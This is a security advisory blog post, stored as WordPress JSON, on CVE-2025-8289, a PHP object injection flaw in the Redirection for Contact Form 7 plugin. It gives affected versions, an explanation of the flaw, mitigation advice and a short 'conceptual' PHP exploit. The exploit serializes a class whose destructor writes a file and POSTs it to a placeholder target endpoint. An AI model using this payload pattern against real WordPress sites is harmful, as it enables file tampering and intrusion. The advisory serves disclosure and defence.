{"id":86823,"date":"2026-03-31T19:02:22","date_gmt":"2026-03-31T19:02:22","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-8289-unauthenticated-php-object-injection-vulnerability-in-redirection-for-contact-form-7-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-8289-unauthenticated-php-object-injection-vulnerability-in-redirection-for-contact-form-7-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-8289: Unauthenticated PHP Object Injection Vulnerability in Redirection for Contact Form 7 Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Redirection for Contact Form 7 plugin for WordPress, a widely used plugin, is vulnerable to PHP Object Injection. This vulnerability, identified as CVE-2025-8289, allows an unauthenticated attacker to potentially compromise a system or leak data. This report will detail the vulnerability, its potential impacts, and measures to mitigate the risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-8289<br \/>\nSeverity: High (CVSS: 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2776394293\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Redirection for Contact Form 7 Plugin for WordPress | <= 3.2.4\nRedirection For Contact Form 7 Extension - Create Post | All versions\n\n<strong>How the Exploit Works<\/strong><\/p>\n<p>The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection via the delete_associated_files function. This vulnerability arises due to the deserialization of untrusted input. Unauthenticated attackers can exploit this vulnerability when a form with a file upload action is present on the site. The presence of the &#8216;Redirection For Contact Form 7 Extension &#8211; Create Post&#8217; extension further makes the vulnerability exploitable. With a POP chain present via an additional plugin or theme, the attacker can take actions like deleting arbitrary files, retrieving sensitive data, or executing code.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p>\n<p>A conceptual example of how the vulnerability might be exploited is shown below:<\/p><div id=\"ameeb-2768899325\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<pre><code class=\"\" data-line=\"\">&lt;?php\nclass Exploit {\nfunction __destruct() {\nfile_put_contents(&#039;\/path\/to\/arbitrary\/file&#039;, &#039;Injected content&#039;);\n}\n}\n$exploit = serialize(new Exploit());\n$postdata = http_build_query(\narray(\n&#039;form_data&#039; =&gt; $exploit,\n)\n);\n$opts = array(&#039;http&#039; =&gt;\narray(\n&#039;method&#039;  =&gt; &#039;POST&#039;,\n&#039;header&#039;  =&gt; &#039;Content-type: application\/x-www-form-urlencoded&#039;,\n&#039;content&#039; =&gt; $postdata\n)\n);\n$context  = stream_context_create($opts);\n$result = file_get_contents(&#039;http:\/\/target.example.com\/vulnerable\/endpoint&#039;, false, $context);\n?&gt;<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating all plugins and themes can also reduce the risk of exploitation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Redirection for Contact Form 7 plugin for WordPress, a widely used plugin, is vulnerable to PHP Object Injection. This vulnerability, identified as CVE-2025-8289, allows an unauthenticated attacker to potentially compromise a system or leak data. This report will detail the vulnerability, its potential impacts, and measures to mitigate the risk. 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